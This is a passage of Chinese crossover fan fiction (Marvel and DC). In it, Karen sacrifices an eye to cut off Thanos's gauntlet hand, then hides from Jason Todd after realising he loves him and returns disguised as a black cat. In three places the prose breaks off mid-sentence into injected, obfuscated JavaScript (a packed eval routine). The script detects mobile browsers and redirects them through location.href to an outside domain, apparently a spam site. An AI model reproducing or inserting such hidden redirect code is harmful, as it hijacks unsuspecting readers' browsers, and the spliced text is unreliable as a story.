银白色的光芒从眼眶里涌出来,好似退潮时最后几道浪。他的左眼已经看不见了——眼球还在,但瞳孔从深褐色变成了灰白色。那些银白色的纹路从他的眼眶蔓延到颧骨,到太阳穴,到耳后,留下一道被烙进皮肤的伤疤。 疼。 但他不在乎了。 因为他看见了那张网。 在他的左眼——那只被献祭的、灰白色的、再也看不见光明的眼睛里——那张银白色的网完整地呈现在他的感知中。每一根线,每一个节点,每一处交汇。 它们缠绕在灭霸的手腕上。 他切得开了。 “你。”灭霸的声音在通讯器里响起。 卡伦没有回答,手指间的银白色光芒稳定得像一条直线。 他的左眼眶很疼,那种从骨头缝里渗出来的疼,但他没有动,没有呼吸,甚至没有心跳。他把自己压到最低,低到和周围的虚空融为一体,低到连力量宝石的扫描都从他身上滑过去,像水从石头上滑过。 灭霸的目光从他身上移开,重新落在超人身上。 超人已经从那艘被撞穿的护卫舰里飞出来了。他的披风上沾着金属碎片和某种不知名的液体,但他的表情没有任何变化,平静,从容。 灭霸低头看了看自己的右手。力量宝石在手套上脉动,紫色的光映在他的脸上,把他的瞳孔也染成紫色。“你们知道这个。” “知道。”超人说。 “那你们应该知道,”灭霸握紧拳头,力量宝石的光芒猛地炸开,顺着他的手臂蔓延到全身,把他整个人裹在一层紫色的光晕中,“我拿到它之后,摧毁了一颗星球。” “我知道。”超人向他走去。一步一步,在虚空中踏出看不见的台阶,披风在身后垂落,像一面沉默的旗帜。“但我不是星球。” 灭霸笑了。 那个笑容里没有温度,没有幽默,只有一种近乎虔诚的笃定——像一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444118|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个相信自己是天命所归的人,看着那个试图阻挡他的人,觉得可怜。 “不。”灭霸说。“你不是。” 他举起右手。 力量宝石的光芒凝聚在他的拳头上,压缩,再压缩,从紫色变成深紫,从深紫变成黑色,是能量被压缩到极限之后,扭曲了周围的空间。 超人的脚步没有停。 灭霸挥出那一拳。 卡伦在暗处看着,手指间的银白色光芒猛地收紧。 不是现在。 他在心里倒数。 超人的拳头和灭霸的拳头撞在一起。 没有声音。 但整个虚空都在震动。以两人为中心,一圈一圈的冲击波向四面八方扩散,把周围的碎片推开,把战舰的残骸掀飞,把远处那颗红色恒星的光芒都扭曲了一瞬。 超人退了半步。 灭霸退了三步。 他低头看着自己的右手——力量宝石还在脉动,但他的虎口裂开了,紫色的血从伤口渗出来,顺着指缝滴落,在零重力中凝成圆珠。 “你的拳头,”灭霸看着超人,“比那颗星球硬。” 超人的回答是第二拳。 灭霸举起左臂格挡。那一拳砸在他的前臂上,骨头发出沉闷的声响——不是断裂,是移位。他的小臂以一个不自然的角度弯下去,然后弹回来,咔嗒一声,自己复位了。 泰坦星的体质。 卡伦见过这种东西。在叠羽大陆,有些怪物也能这样——骨头断了,自己接回去,肌肉撕裂了,自己愈合。但他没见过恢复速度这么快的。灭霸的伤口在三秒内就不再流血,五秒后连疤痕都看不见了。 麻烦。 非常大的麻烦。 灭霸甩了甩右手,虎口的伤口已经完全愈合。他看着超人,表情第一次变得认真。 “你是他们之中最强的。”他说。“但他们让你拖住我。” 超人的拳头停在半空。 灭霸笑了。“你在等什么?” 超人没有回答。但他的眼睛——那双蓝得发亮的眼睛——微微朝某个方向偏了一瞬。 灭霸捕捉到了。 他的目光顺着超人的视线,扫过虚空,扫过战舰的残骸,扫过钢铁侠和索尔战斗的方向,然后落在—— 卡伦。 他在那里。 在暗处,在虚空的褶皱里,在炼金术编织的伪装后面。他的双手张开,十根手指间缠绕着银白色的线。 几十根,几百根,织成一张密不透风的网。那些线在虚空中缓慢地延伸,像植物的根系,像血管,朝着同一个方向汇聚—— 灭霸的右手。 卡伦在布阵。 灭霸低头看了看自己的右手。那些银白色的线太细了,细到肉眼看不见,细到力量宝石的扫描都差点漏过去。 “有意思。” 他握紧右拳,力量宝石的光芒猛地炸开。紫色的能量从手套上涌出来,试图把那些银白色的线震碎——但没有。那些线在能量的冲击下抖动了一下,发出很轻的嗡鸣,然后重新收紧。 它们没有被震碎。 它们在虚空里,物理攻击无效化。 “你。”他的声音在通讯器里响起,很低,很沉。“你的魔法,和那群法师不一样。” 卡伦没有回答。他的手指在颤抖。 负荷太大了。 那些银白色的线在抽取他的能量,像几十根同时插进血管的针。他能感觉到自己的体温在下降,能感觉到指尖开始发麻,能感觉到那些线在和他的生命力共振。 但那只灰白色的、再也看不见光明的眼睛——看见了更多的东西。它看见了阵法核心处那个微小的裂隙,看见了灭霸手腕上那圈银白色线条最薄弱的地方,看见了那个他需要切进去的角度。 快好了。 再坚持一下。 超人的拳头再次砸下来。这一次他没有收力——拳风把周围的碎片都掀飞了,灭霸的身体向后仰去,右手还举着,力量宝石的光芒还在燃烧,那些银白色的线还在他手腕上缠绕,像一条正在收紧的蛇。 卡伦的手指猛地收拢。 那些线同时绷紧了。 灭霸低头看着自己的手腕。那些线切进去了,但不是皮肤,是手套。无限手套的金属表面出现了一道细纹,从指根延伸到腕部,力量宝石的光芒在细纹处跳动了一下,然后暗了一瞬。 “你——” 灭霸抬头看向卡伦的方向。 但卡伦已经不在那里了。 他从暗处弹出来,像猫从高处跃下,无声无息,精准地朝着灭霸的右手方向落去。他的右手张开,五指间凝聚着一道银白色的光。 是他在叠羽大陆十几年摸爬滚打攒下来的、每一次死里逃生练出来的、每一根手指每一颗牙齿每一寸皮肤换来的,一切经验与本领,全部堆在这一刀上。 灭霸的瞳孔微微收缩。 他举起左手,想要格挡——但超人的拳头比他快。那一拳砸在他的左肩上,把他的整个左臂打得垂下去,骨头发出碎裂的声响。 他的右手暴露了。 卡伦的刃落下来。 银白色的光切过虚空,切过力量宝石的紫芒,切过无限手套的金属表面—— 切进那道细纹里。 灭霸的手腕从中间断开。 手套带着断手,在零重力中旋转着飞出去,力量宝石的光芒在手套上跳动了两下,然后失去了作用。 灭霸低头看着自己的右手腕,切口很整齐,紫色的血从血管里涌出来,在虚空中凝成圆珠,漂浮在他面前。 他看了三秒。 然后他抬头看向卡伦。 卡伦悬浮在他前方十米处,右手还在抖,指尖的银白色光芒已经消散了,只剩下几道浅浅的白痕。他的脸色很白,比平时白得多,嘴唇几乎没了血色。他的左眼正对着灭霸的方向,但它什么都看不见。 灭霸看着那双眼睛——一只能看见的,一只已经献祭了的——沉默了很久。 灭霸低头看了看自己断掉的手腕。伤口已经开始愈合了。 泰坦星的体质,比人类快得多。但那只手套已经飞远了,在虚空中旋转着,被钢铁侠的纳米机械人捕获,拖进一个密封的容器里。 “你赢了这一次。”灭霸说。 他的声音很平静,没有愤怒,没有不甘,只有一种近乎虔诚的笃定——像一个人看着自己的命运被改写,觉得有趣。 “但下一次——” “没有下一次。”超人出现在他面前,拳头举在半空。 灭霸看着他,笑了。 那个笑容里终于有了一点温度。不是温暖,是灼热,像岩浆,像熔炉,像一颗快要熄灭的恒星在做最后的燃烧。 “你不知道,”灭霸说,“我的命运是什么。” 超人的拳头落下去。 22. 第二十二章 1 灭霸的身体在虚空中漂浮着。 一动不动。 超人的那一拳没有杀他——卡伦看见他的胸口还在起伏,很慢,很浅,像一台被关掉引擎的机器在做最后的空转。紫色的血从额头上的伤口渗出来,凝成圆珠,顺着脸颊滚落,飘散在黑暗中。 “他没死。”卡伦说。 声音很哑。 超人的拳头还悬在半空。 他看着灭霸的脸,沉默了三秒。然后他把拳头收回来,转身。 “他不会逃走的。” 卡伦看着超人的背影,突然有点烦躁。 不是对超人的烦躁。 是对自己的。 他不喜欢“留下后患”这种事。在叠羽大陆,他见过太多因为“仁慈”而死的蠢货。那些只是长着人形的怪物不会因为你放过它一次就感恩戴德,它只会记住你的气味,等你转身的时候从背后咬断你的脖子。 他想说点什么。 关于灭霸的体质,关于他断腕之后的自愈速度,关于那个紫色的巨人只要还活着就永远是威胁。 但他的嘴唇动了动,什么都没说出来。 因为超人是对的。 灭霸不会逃。 不是逃不掉,只是因为他不屑于逃。那个人的眼神里没有恐惧,没有不甘,只有一种近乎虔诚的笃定。那种人,你关不住他。 “这东西得找个地方放。” 钢铁侠从右翼飞过来,手里托着一个密封的容器。里面是灭霸的断手,还有那只镶着力量宝石的无限手套。容器壁上的能量读数在跳动,紫色的光一明一灭,像一颗被关在笼子里的心脏。 “瓦坎达。”索尔开口。 他站在不远处,风暴战斧横在身侧,眼睛盯着灭霸的方向。 “心灵宝石在那里。幻视。” 钢铁侠看了他一眼,没说话。 “时间宝石在纽约圣所。”奇异博士的声音从通讯器里传来——他没有上战场,用传送门在后方待命。“现实宝石在虚无知地,暂时没有威胁。灵魂宝石的位置——只有灭霸知道。” “那就让他知道。” 卡伦说。 所有人的目光都转向他。 卡伦没有解释。 他只是看着灭霸——那个被超人一拳打晕、漂浮在虚空中的紫色巨人。他的断腕处已经停止流血了,伤口边缘的皮肤开始收缩、增生、愈合。再过几个小时,那里会长出一个圆钝的肉瘤。再过几天,会有一只新的手从肉瘤里长出来。 泰坦星的体质。 加上力量宝石残留的能量。 这个人根本不需要无限手套就能恢复如初。 “他不能活着。”卡伦说。 沉默。 钢铁侠第一个开口。 “我以为你们魔法侧的人不杀人。” 卡伦没有回答,这个世界的魔法侧他不知道,反正他也没有真的在这个世界呆过几年。 他在魔法世界杀过很多人。 或者说,很多“东西”。 那些东西没有名字,没有面孔,没有留下任何痕迹。他杀它们的时候从不犹豫,因为他知道,如果他不杀,那些东西就会杀了他。 杀伐果断不是一种性格。 是一种活下来的方式。 在叠羽大陆,犹豫的人活不过第一年。 但现在站在他面前的不是怪物。 是一个泰坦星人,一个父亲,一个偏执到愿意为信念屠杀半个宇宙的理想主义者。 卡伦知道这些。 因为水晶球给他看过。 灭霸打响指之后,他没有庆祝,没有狂欢,只是找了一颗无人的星球,坐下来看日出。那个画面太安静了,安静到让卡伦有一瞬间觉得他可能不是疯子。 只是一瞬间。 “你确定?” 超人的声音很平静。 没有质问,没有审判,只是在确认一个事实。 卡伦看着他。 “你关不住他。” 超人沉默了三秒。 然后他转身,走到灭霸面前。披风在虚空中垂落,像一面沉默的旗帜。他低头看着那个紫色巨人的脸。 卡伦没有看他做了什么。 他把目光移开,落在远处那颗红色的恒星上。 它还在燃烧。 安静地,沉默地,像什么都没有发生过。 通讯器里传来一声很轻的叹息。 不是蝙蝠侠的——蝙蝠侠不会叹气。 不是钢铁侠的——钢铁侠的叹气会带着电流杂音。 是索尔。 卡伦没有回头。 --- 2 回程的穿梭机比来时安静得多。 像雪落在地面上,无声地堆积。 钢铁侠坐在最前面,手里还托着那个容器。 索尔靠在舱壁上,风暴战斧横在膝上,眼睛半闭着。 超人坐在卡伦对面,披风收在身后,双手交叠放在膝上。他的制服上还有灭霸的血迹——紫色的,在灯光下泛着暗沉的光。 卡伦靠在舱壁上,闭着眼睛。 左眼眶疼得要命。 他把手伸进口袋,碰了碰那枚贝壳。 指尖触到光滑的表面,确定了没有因为战斗而丢失,就缩回去了。 “你的眼睛。” 蝙蝠侠的声音从穿梭机的扬声器里传来——他在瞭望塔上,没有下来。但卡伦能想象他坐在主控台前的样子,手指悬在键盘上,面罩下的眼睛盯着屏幕上的数据。 “需要帮忙吗?” “不用。” 沉默。 “韦恩集团的生物科技部门,”蝙蝠侠继续说,语气没有任何变化,像在念一份产品目录,“有人工眼角膜的替代方案。临床成功率百分之九十三。” “不用。” 钢铁侠从容器上抬起头。 “斯塔克工业也有。超酷的机械眼。带夜视、热成像、显微放大、无线传输——” 他顿了顿。 “你要是不想要太夸张的,我可以做个低调版。外观和真眼一模一样,看不出来。” 卡伦睁开右眼。 舱壁上自己的倒影——左眼眶周围那圈银白色的纹路已经淡了,从皮肤表面沉下去,变成一种更深层的、像纹身一样嵌在真皮里的印记。 “我有自己的办法。” 钢铁侠看了他两秒。 “炼金术?” “嗯。” “能把眼睛炼回来?” “能。” 卡伦没有说需要什么材料,没有说那些材料有多难找,反正他的材料还算充足。 没有说他的左眼即使“炼回来”也不可能和原来一模一样。 那些都不重要。 钢铁侠盯着他看了一会儿,然后耸了耸肩。 “行。有需要再找我。” 卡伦重新闭上眼睛。 穿梭机的引擎在低鸣,如同一只巨大的蜂鸟在振动翅膀。窗外的光从舷缝里透进来——右眼看见的是橙红色的暖光,左眼什么也看不见。 他刻意不去想关于战斗的回忆。但人的脑子要想刻意回避一段记忆,就免不了用另外一段记忆填上。 于是他脑子里的另一个画面一直在转,像一只被关在笼子里的仓鼠。 杰森。 战斗中的杰森。 翻窗进诊所的杰森。 脚搭在小茶几上喝茶的杰森。 够了够了,他脑子里到底在想什么,这些记忆也回避掉吧。 卡伦睁开右眼,盯着穿梭机的天花板。 银白色的金属板,上面有几道细小的划痕,可能是上次任务留下的。他盯着那些划痕,试图让自己的脑子回到正轨。 但又有一个画面出现了。 杰森低头看他,眼睛被额发的阴影遮住了一半,剩下那一半里有很暗的光,那双蓝眼睛,像是黎明时刻的海面,又像是蓝调时分的天空。 这不对。 在战场上想一个人,这不对。 在生死关头想一个人,这不对。 在献祭了自己一只眼睛、差点死在太空里之后,回到穿梭机上,第一件事不是检查伤口、不是复盘战斗、不是思考灭霸的残余势力会不会报复—— 而是在想一个人的睫毛。 这不对。 卡伦闭上右眼。 然后睁开。 然后闭上。 然后睁开。 他试图用这种愚蠢的方式让自己的脑子停下来,但它不停。那个画面像被按了循环播放,一遍一遍地过。 卡伦又烦躁起来。 他为什么要带那枚贝壳?一丁点用都没有,一丁点也没有! 卡伦把手伸进口袋,碰了碰它。 很小,贴着掌心,凉丝丝的。 卡伦突然又泄气了。 他在迈阿密的海边弯腰捡起它的时候,想的只是“杰森会不会喜欢”。他甚至没有想“为什么我要在乎杰森喜不喜欢”。他只是弯腰捡起来,擦掉上面的沙子,装进盒子,寄出去。 竟然像一只家养的什么小宠物一样。 把猎到的猎物叼回家,放在门口,等着那个人推门出来。 他自嘲了一下,在心里把自己比作一只猫。 卡伦盯着天花板上的划痕,沉默了很长时间。 --- 3 穿梭机在降落。 窗外的橙红色越来越浓,浓得像有人把整罐颜料都倒在了天幕上。 钢铁侠站起来,活动了一下肩膀。 “到家了。” 卡伦没动。 他坐在座位上,看着窗外那片橙红色的光落在他膝盖上,落在他手上,落在那枚被他握在掌心的贝壳上。 他的脑子终于安静了。 安静的有点绝望了。 安静到只剩下一个念头,清晰得像刀刻在石头上。 他喜欢杰森。 不是“朋友”的那种喜欢。 不是“战友”的那种喜欢。 是“想碰他睫毛”的那种喜欢。 是“在战场上脑子里全是他的脸”的那种喜欢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杰森坐在那张专座上,脚搭着小茶几。手里没有茶——茶放在旁边的诊台上,已经凉了。他在看手机,听见门响,抬起头来。 那一排东西现在被他转移到诊所的窗台了。 小瓶子、水晶球、贝壳、彩色石头、枫叶、海鸥画,按颜色排成渐变,从深蓝到浅粉。夕阳的光照在上面,每一件都在发光,像被点亮的灯。 杰森坐在这排灯前面,看着门口。 卡伦看着他。 右眼看见的是橙红色的光、窗台上的渐变、那个人被夕阳镀上金边的轮廓。 左眼什么都看不见——只有一片灰白色的、像旧电视雪花屏一样的混沌。 尽管他如此清晰的感觉到,他现在只剩下了一半的视野,但却露出一个温暖的笑容。 好吧,没法反驳。 他喜欢杰森。 这件事像一个被证实的猜想,在他脑子里安安静静地落定了。这一刻他没有什么力气挣扎了,没有“我怎么会喜欢一个男人”的自我怀疑——他在魔法世界见过比这奇怪一万倍的事情。 他只是有点意外。 竟然是自己先开窍的? 又或者说,竟然是自己先发现自己喜欢杰森? 他以为会是杰森先发现的。杰森比他更擅长观察人,更擅长读懂那些没说出口的东西。但杰森什么都没说过。也许杰森根本没往那个方向想过。也许杰森只是把他当成一个“还算聊得来的朋友”。 也许杰森是直的。 卡伦的笑容在嘴角僵了一瞬。 对。杰森可能是直的。 他从来没问过。 杰森从来没提过。在诊所里,在安全屋里,在天台上,在那些深夜的沉默中,杰森从来没有给过他任何暗示。 那些距离——有时的确太近了,也许只是杰森没意识到。 也许只是杰森不觉得那有什么? 卡伦站在门口,夕阳的光把他的影子拉得很长,投在地板上,一直延伸到诊台前面。 杰森坐在那里,等他开口。 窗台上的水晶球在发光,里面的海鸥在飞,云在飘,海浪在拍打着看不见的沙滩。 脑子很乱。 他刚刚在太空里砍了一只紫色的手,献祭了一只眼睛,然后花了不知道多长时间确认自己大概、可能、也许喜欢上了杰森·陶德。 然后又花了三秒钟得出了杰森·陶德很可能根本不喜欢男人这个结论。 现在他站在诊所门口,看着那个人坐在夕阳里等他回来,脑子里只剩下一个念头: 他刚才在穿梭机上,为什么要费那么大劲想这件事? 反正也想不明白。 反正杰森也不可能是弯的。 反正—— “我回来了。” 23. 第二十三章 1 诊所的门被推开的时候,杰森抬起头。 夕阳的光从门口灌进来,把那个人整个裹进一层暖橙色里。卡伦站在那儿,衣服上沾着不知道什么东西的液体,头发乱得像是被风吹了一路,左眼眶周围多了一圈银白色的纹路——从眼角蔓延到太阳穴,像某种被烙上去的图腾。 纹路下面的那只眼睛,瞳孔是灰白色的。 杰森的手停在半空。手里还拿着那杯凉透了的茶。 “你他——”他的声音卡了一下,然后全涌出来了,“你的眼睛怎么回事?脸上那圈什么东西?你知不知道——” 卡伦的手指搭在门把手上,整个人僵了一瞬。 那一瞬很短。短到正常人根本看不清,但杰森看见了。 那个人像是被突然按下了暂停键,连呼吸都停了一拍。然后他的肩膀微微缩了一下——很轻,像猫被踩到尾巴之前的那种本能收缩。 杰森还没来得及反应。 门把手上的手指滑下来了。 没有风。没有光。没有传送门残留的火花。那个人就这么消失了,像被人直接从画面里剪掉了一样,突然串线了。诊台上那杯茶被气流带得晃了一下,水面荡开一圈细纹。 杰森站在原地,手里还端着茶。 “操!” 他把茶杯往诊台上一摔,茶水溅出来,洇湿了半张处方单。 窗台上那枚贝壳被震得翻了个面,底面朝上,露出光秃秃的白色内壁。 —- 2 第一天,卡伦没回来。 杰森在诊所里坐到半夜。把凉掉的茶喝了,把窗台上那些东西擦了一遍,把那枚贝壳翻过来翻过去,最后底面朝上放回去了。 手机屏幕亮了好几次。他打了几个字,删掉,又打了几个字,又删掉。最后发出去一个问号。 没回。 第二天。 “你的诊所有病人。” 卡伦:怎么可能,我走之前早就把诊所大门关了,挂上了暂停营业的牌子,钥匙不是在你手上吗? 是的,卡伦看见消息了,但没回。 “你再不回来我把你那些破瓶子扔了。” 还是没回。 杰森盯着屏幕上那三条孤零零的消息,觉得自己像个傻逼。他把手机翻过去,屏幕朝下,扣在诊台上。然后翻过来,又看了一眼。没有已读。 卡伦从不关已读回执,从来没有。 杰森把手机塞进口袋,站起来,在诊所里走了两圈。窗台上的贝壳底面朝上,像一只翻不过身来的乌龟。他盯着它看了三秒,把它翻回来了。 —- 3 韦恩庄园的沙发比诊所的椅子硬得多。 布鲁斯:? 杰森瘫在上面,一只脚搭着扶手,另一只脚悬在外面,整个人像一只被拧干了毛巾。天花板上有几道细小的裂纹,他盯着那些裂纹,已经把每一条的走向都记熟了。 “所以,”迪克坐在对面的单人沙发上,端着一杯茶,表情介于好笑和无奈之间,“你在庄园沙发上瘫了三天,就是为了跟我说,你的朋友不理你了?” “他不是不理我。”杰森盯着天花板。“他在躲我。” “有区别吗?” 杰森没回答。 迪克喝了一口茶。“他怎么你了?” “我就问了他一句眼睛的事。然后他就跑了。” “你怎么问的?” 杰森想了想。“我说——你他妈的眼睛怎么回事,脸上那圈什么东西,你管这叫没什么事——” 迪克的眉毛挑了一下。 “Ok。”迪克放下茶杯。“你冲他吼了一通,然后呢?” “我那是担心!”杰森从沙发上坐起来,“你知道他像个没事人一样回来,凑近一看,一只眼睛突然没了,有多么惊悚吗?” 他盯着迪克,等着他点头。 迪克没点头。迪克只是看着他,表情有点古怪。 这算什么,小翅膀突然有了布鲁斯的遗传基因? 哦,也不一定吧,布鲁斯是不说话,杰森是口是心非,症状不一样。 “他以前不这样。”杰森的声音低下来,又瘫回去了。“上次他回来,我骂了他十分钟,他都没跑。这次——我就问了一句,然后他就跑了。我给他道歉了,他没回我。” 他从口袋里掏出手机,屏幕朝上,放在茶几上。那三条消息还挂在那里,安安静静的,像三具尸体。 “他从来不关已读回执。”杰森说。 迪克没说话。 楼梯上传来脚步声。提姆端着一杯咖啡走下来,看见沙发上的杰森,脚步顿了一下。 “他怎么了?”提姆用下巴指了指杰森。 “卡伦受伤了。”迪克说。“杰森在担心。” 提姆看了杰森一眼,又看了迪克一眼。 那个眼神很微妙,反正是某种杰森看不懂的东西。 像是“这两个人终于要聊这个了”的释然,又像是“他怎么还在纠结这个”的无奈。 “干嘛?”杰森皱眉。 “没干嘛。”提姆端着咖啡走进厨房了。 杰森转头看迪克。“他那是什么眼神?” 迪克没回答。 “你刚才那是什么表情?”杰森盯着他。 迪克把茶杯放在茶几上,想了想措辞。他想起有一次去诊所看见杰森瘫在沙发上拿着杂志,卡伦就站在他的背后弯下腰背微微凑近,就着他的手一起看,伸手去拿杰森放在腹部的薯片。 他一直以为很多事已经不需要讨论了。 “杰森,”迪克斟酌着开口,“你真的觉得卡伦把你当朋.友吗?” 杰森看着他。 那个表情像听到了什么荒谬至极的问题。 “不然呢?” 迪克沉默了三秒,欲言又止。 他看着杰森的眼睛。 那双眼睛里有“这还用问”的笃定,有“你是不是有病”的质疑,有“他把我当朋友,这有什么好怀疑的”理直气壮。 竟然还带着一丝骄傲。 没有犹豫,没有闪躲,没有任何一丝怀疑他们关系可能不好的想法和“也许不止”的暗示。 他是真的这么想的。 迪克端起茶杯,喝了一口。 算了,不要插足别人的感情。 “没什么。”他说。 —- 4 卡伦蹲在一条小溪边,看着自己的倒影。 水很清,能看见底下的石头和沙子。他的倒影在水面上晃来晃去,左眼灰白,右眼金色,像枚被磨亮的铜钱,可惜现在只剩一枚了。 他对着倒影眨了眨眼。 还行。至少右眼挺好看的。 左眼眶周围那圈银白色的纹路已经从皮肤表面沉下去了,变成一种更深的、嵌在真皮里的印记。他摸了摸,不疼,就是有点痒。 他把手伸进溪水里,撩了一把水,洗掉脸上干涸的血迹。水很凉,从指缝间漏下去,带着细碎的闪光。 然后他往后一倒,躺在石头上,四肢摊开,尤如一只被晒干的青蛙。 天很蓝。有几朵云,慢悠悠地飘着。偶尔有鸟飞过去,很小,在天上划一道看不见的弧线。 他不知道自己传送到哪儿了。当时脑子一片空白,下一秒就摔在了这片石头上。周围是山,是树,是一条不知道流向哪里的小溪。 卡伦把手臂盖在脸上。 跑了。 有够没出息的。 他推开诊所的门,看见杰森坐在夕阳里,那个人抬起头,目光落在他脸上。他看见那双眼睛从“等他回来”变成“看见他的伤”,然后变成愤怒、担忧、某种他不敢认的东西。他的心脏猛地跳了一下,然后他的手指就从门把手上滑下来了。 跑了。像一只被踩到尾巴的猫,弓起背,炸开毛,然后消失得无影无踪。 太丢人了。 卡伦在石头上翻了个身,把脸埋进手臂里。石头硌得他肋骨疼。 他在叠羽大陆杀过怪物,在哥谭打过□□,在太空里砍过紫薯精的手,献祭了一只眼睛,面不改色。然后他回到诊所,被人吼了一句,跑了。 传出去他不用混了。 他在手臂里闷笑了一声,肩膀抖了一下。 好。行。没事。 反正也没人知道。 对吧? 他翻过来,重新摊开四肢,盯着天上的云。事情是这样的:他喜欢杰森。这件事他在穿梭机上就想通了。没什么好挣扎的,喜欢一个人而已,又不是世界末日。 问题在于杰森不喜欢他。 好吧,不一定“不喜欢”,但大概率“不是那种喜欢”。杰森从来没给过他任何暗示——那些距离,那些沉默,也许只是杰森对朋友的方式。杰森对迪克也这样吗?对提姆也这样吗?对蝙蝠侠也这样吗? 卡伦想了想杰森对蝙蝠侠的态度,然后否定了这个对比。 有点太窒息了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444120|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算了。不重要。 重要的是:如果他什么都不说,他们还能当朋友。杰森也许还能翻窗进诊所蹭茶喝,还能在深夜的安全屋里坐着不说话,还能把窗台上的东西排排坐,如果他说了,而杰森不是—— 那就完蛋啦!哈哈。 卡伦盯着天上的云,觉得这个逻辑很完美。 他闭上眼睛。 然后睁开。 然后闭上。 然后睁开。 他怕自己再多站一秒,就会走进去,坐在他旁边,做一些没办法继续假装“只是朋友”的事情。 卡伦在石头上翻了个身。 喜欢一个人真的好麻烦。 他在叠羽大陆的时候不用想这些。那时候活着就行。 回来之后也不用想这些。开诊所,处理裂缝,对付小丑,截杀灭霸——他一直在忙,忙到没时间想。 现在灭霸解决了,裂缝在处理了,小丑死了,他终于闲下来了,然后脑子就开始不听话了。 他想起某个很有名的英国魔法学校。好像有一群学生能变成动物。叫什么来着?阿尼玛格斯。变成一只猫,蹲在墙头,假装自己是一只路过的野猫。 可以蹭蹭他的裤腿,可以蹲在他旁边看他喝茶,可以什么都不说,什么都不用解释。 因为谁会逼迫一只小猫咪开口说人话呢? 天才般的想法,为什么不呢? 根据上次他变成黑豹杰森的反应来看,他还挺喜欢毛茸茸的不是吗? 卡伦盯着天上的云,认真思考了这个方案的可行性。 炼金术能不能做到?应该可以。他在叠羽大陆见过有人把自己变成鸟,虽然变回来之后嗓子哑了三个月。但他不需要变回来,他只需要—— 他在想什么。 卡伦闷笑了一声。 他在魔法世界待太久了,脑子真的坏了。 但那只猫的设想在他脑子里转来转去,怎么都赶不走。 蹲在墙头,假装自己是一只没见过世面的野猫。 杰森会发现的。他当然会发现。那双眼睛——一只金一只灰,整个哥谭找不出第二只这样的猫。他大概会站在窗台前面,盯着那只猫看三秒,然后说:“你在搞什么鬼?” 然后呢?然后卡伦就蹲在墙头,喵一声。 他不能说话。他是猫。猫不会说话。 杰森总不能逼一只猫开口吧。 卡伦躺在石头上,嘴角翘起来,笑得肩膀都在抖。 太蠢了。真的太蠢了。 但他没有把这个念头从脑子里赶走。 —- 5 诊所的窗台上,那枚贝壳被翻过来又翻回去,底面朝上放了三天,杰森今天早上又把它翻回来了。 他说不清自己为什么要翻那枚贝壳。只是每次经过窗台的时候,手指会不自觉地去碰它。把它翻过来,再翻回去,像一个没有意义的仪式。 也许是因为它太小了,翻过去就看不见那点淡粉色,只剩一片光秃秃的白。他不喜欢那样。 卡伦三天没回消息。诊所的门没开过,窗台上的灰尘没人擦,诊台上的茶还放在那里,水面结了一层薄薄的膜。杰森每天来看一次,每次站在门口,看着那杯茶,站一会儿,然后走。 第四天,他推开窗。 风灌进来,带着哥谭特有的潮气和灰尘味。窗台上那些东西被风吹得轻轻晃动,水晶球里的海鸥还在飞,小瓶子里的海浪还在拍。杰森把手撑在窗框上,探出头去,左右看了一眼。 巷子里没有人,只有几只流浪猫蹲在垃圾桶旁边,眯着眼睛晒太阳。一只橘白的,一只灰的,一只黑的。 杰森缩回来。 然后他又探出去了。 那只黑猫蹲在墙头上,毛很短,在阳光下泛着缎子一样的光。 它比旁边那两只好看一点,蹲姿端正,像被人摆上去的。它的头微微偏着,两只眼睛一高一低地看着他。一只是金色的,亮得像是被谁擦过的铜器。一只是灰白色的,像被抽走了所有颜色。 杰森盯着那只猫。 那只猫盯着他。 巷子里的风吹过来,把窗台上的灰尘吹起来,在阳光里飘成一团金色的雾。那只猫的耳朵动了一下,胡须微微颤了颤,但它的眼睛没有眨。 杰森的手还搭在窗框上,表情一瞬间变得很复杂。 他好像要脱口而出什么话,然后又艰难的咽下去了。 “你在搞什么鬼?”他说。 24. 第二十四章 1 黑猫没有回答。 它只是蹲在墙头上,歪着头看他。右眼金色,左眼灰白。阳光下,缎子一样的短毛泛着一层细碎的光。 然后它站起来——很慢,像在给他反应的时间。 往前迈了一步。 墙头到窗台,半米的距离。 它落得很轻。前爪搭上窗台边缘,后腿蹬了一下,整个身体就过来了。 杰森没动。他倒要看看这只猫还能怎么演。 黑猫从他手边走过去,尾巴尖扫过他的手腕,痒丝丝的。然后它在窗台上站定,回头看了他一眼,又往前走了两步,到了他肩膀的位置。 停住了。 它偏过头,用脑袋蹭了蹭他的脖子。 杰森僵了一下。 那触感太轻了。轻得像一团毛线从皮肤上滚过去,像一片羽毛落在衣领里。猫的体温比他高一点,贴在脖子上,暖烘烘的。 他低头看了一眼,那只猫把前爪搭在他肩上,整个身体缩成小小的一团。灰白色的左眼半闭着,金色的右眼眯成一条缝。喉咙里发出很轻的呼噜声。 杰森伸手捏着它的后颈皮,把它拎起来。 